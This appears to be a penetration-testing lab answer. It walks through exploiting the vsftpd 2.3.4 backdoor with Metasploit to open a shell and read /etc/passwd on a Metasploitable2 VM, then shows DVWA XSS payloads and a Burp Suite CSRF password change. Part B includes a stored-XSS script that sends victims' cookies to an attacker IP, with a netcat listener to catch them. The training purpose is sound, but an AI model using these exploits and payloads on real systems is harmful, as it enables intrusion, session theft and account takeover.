

5.	A	<p>Imagine you are a member of Red Team in a company, you have been assigned a penetration testing task to assess the security of a corporate network using Kali Linux and the Metasploit framework. Outline a step-by-step process for utilizing Metasploit to identify and exploit vulnerabilities within the network.</p> <p>Ensure both the Kali Linux and Metasploitable2 virtual machines are up and running.</p> <ul style="list-style-type: none"> <li>• Open Kali Linux terminal, type following cmds</li> </ul> <pre># msfupdate—"Use this if metasploit-framework is more than two weeks old.Run msfupdate to get latest framework"</pre> <ul style="list-style-type: none"> <li>➤ msfconsole</li> <li>➤ use exploit/unix/ftp/vsftpd_234_backdoor</li> <li>➤ show options</li> <li>➤ set RHOST 192.168.62.129</li> <li>➤ exploit</li> <li>➤ It will open the shell of target IP(metasploitable vm)</li> <li>➤ Create a file say 1.txt with some contents, copy the file to another new file.</li> <li>➤ Now goto Metasploitable VM 2 and check the same file contents. ➤ Even the sensitive details such contents of /etc/passwd file also can be accessed.</li> </ul>
	B	<p>Imagine you're a cybersecurity analyst responsible for evaluating the security of a newly launched online education platform. You need to use Burp Suite to find and address any security issues within the application. Explain how you would set up Burp Suite, including configuring the proxy settings and running automated scans to uncover common vulnerabilities.</p> <p>a) XSS (Cross Site Scripting)</p> <p>b) CSRF (Cross Site Request Forgery)</p> <p>i) <b>XSS (Cross Site Scripting)</b></p> <p>Cross-Site Scripting attacks are a type of injection in which malicious scripts are injected into web sites and execute on client side.</p> <p>Ensure Kali Linux and metasploitable 2 vm are up and running.</p> <p>Open 192.168.111.129 metasploitable2 web application in kali linux browser.</p> <p>Click on DVWA and login by providing username and password. (admin/password)</p> <p>XSS Stored:</p> <p>Whatever the scripts injected will be stored permanently, any time visitor comes up, scripts would be executed.</p> <p>Navigate to XSS (stored), try following things.</p> <ul style="list-style-type: none"> <li>• <b>Name: Test</b></li> </ul> <p><b>Message: &lt;b&gt;Hello Everyone &lt;/b&gt;</b></p> <p><b>Click on Sign Guestbook</b></p> <ul style="list-style-type: none"> <li>• <b>Name: Hi Message: &lt;script&gt;alert("Hello This is XSS")&lt;/script&gt;</b></li> </ul> <p><b>Click on Sign Guestbook</b></p> <p>Now go to any other page.. comeback to xss stored page, then user can see the pop up message</p> <p>To fetch the cookies</p> <pre>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre> <p>Navigate to xss(reflected) and paste the above script, then, it will display PHPSESSID(Cookie Value)</p> <p>XSS reflected:</p> <p>Type</p> <pre>&lt;script&gt;alert("hello")&lt;/script&gt;</pre> <p>and submit</p> <p>Alert window is displayed.</p> <p><b>Now go to any other page.. comeback to xss reflected page, then user cannot see the pop up message or alert window.</b></p> <p><b>To steal other user cookies:</b></p>

	<p>Navigate to XSS stored and type below script in message. Before that increase the size of message textbox.</p> <pre>&lt;script&gt;new Image().src="http://192.168.62.128/abc.php?output="+document.cookie;&lt;/script&gt;</pre> <p>And press Sign Guestbook.</p> <p>Keep the listener ready in terminal by using below command</p> <pre>nc -lvp 80</pre> <p>and go to other tabs in DVWA page and come back to XSS stored.. then it will steal the cookie of the user and send it to kali linux VM.</p> <p><b>ii)CSRF</b></p> <p>Ensure kali Linux and metasploit table 2 is up and running.</p> <p>CSRF(Cross Site request Forgery)</p> <ul style="list-style-type: none"><li>• Log in to DVWA as admin using the credentials admin/password.</li><li>• Set DVWA security to low and submit the settings.</li><li>• Launch Burp Suite application and ensure proxy settings are configured, including the imported proxy certificate.</li><li>• Navigate to the CSRF page and input a new password along with confirmation.</li><li>• Activate intercept mode in Burp Suite before submitting the form.</li><li>• Submit the form(Click on Change) and capture the recent traffic.</li><li>• Send the intercepted traffic to repeater within Burp Suite.</li><li>• Forward the intercepted traffic.</li><li>• Return to the DVWA page and observe the password changed message.</li><li>• Modify the password in the repeater to something else and send the repeater traffic.</li><li>• Check the response side of the page in the render tab of Burp Suite to verify the password changed message.</li><li>• Disable the proxy intercept and proxy settings.</li><li>• Logout from DVWA.</li><li>• Upon attempting to login again, the user enters the new password, unaware of the recent change, resulting in login failure.</li></ul>
--	--